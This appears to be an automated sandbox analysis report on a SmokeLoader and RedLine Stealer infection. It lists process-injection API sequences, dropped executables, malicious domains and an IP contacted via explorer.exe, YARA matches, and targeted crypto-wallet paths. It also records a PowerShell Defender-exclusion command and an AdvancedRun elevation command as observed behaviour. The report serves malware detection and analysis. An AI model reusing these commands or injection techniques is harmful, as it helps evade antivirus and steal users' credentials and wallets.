Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\F72D.exe

Code function: 13_1_00402679 LdrLoadDll,

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 0_2_0041A050 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 0_2_0041FF10 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: nalirou70.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: host-host-file6.com
Source: C:\Windows\explorer.exe	Domain query: hajezey10.top
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou7000.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 610B.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\hrgjvbv	Memory written: C:\Users\user\AppData\Roaming\hrgjvbv base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Memory written: C:\Users\user\AppData\Local\Temp\8039.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\hrgjvbv

Code function: 10_2_02BD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Thread created: C:\Windows\explorer.exe EIP: 44C1920
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Thread created: unknown EIP: 4E41920
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Thread created: unknown EIP: 44E1920
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Thread created: unknown EIP: 4F819C0

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force

.NET source code references suspicious native API functions

Show sources

Source: 82DC.exe.5.dr, Discrepant.Annotations/SchemaAnnotation.cs	Reference to suspicious API methods: ('ComputeState', 'LoadLibrary@kernel32.dll'), ('DisableState', 'GetProcAddress@kernel32')
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Reference to suspicious API methods: ('vaLfadLlgO', 'LoadLibrary@kernel32'), ('VtUfgiaft7', 'GetProcAddress@kernel32')
Source: 19.2.59B4.exe.40000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.12.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.10.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.2.8039.exe.400000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D27E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,

Source: explorer.exe, 00000005.00000000.687463087.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8039.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8039.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B8B0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\82DC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_0041B4E0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D2465A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.610B.exe.36b5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4743790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.8039.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: ElectrumE#
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: &l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: JaxxE#
Source: 8039.exe, 00000016.00000002.947093100.0000000000B4B000.00000004.00000020.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\*.json
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: ExodusE#
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: EthereumE#
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: &l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: 59B4.exe, 00000013.00000003.827286675.0000000002920000.00000004.00000001.sdmp	String found in binary or memory: set_UseMachineKeyStore

Source: Yara match	File source: 00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.610B.exe.36b5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4743790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.8039.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
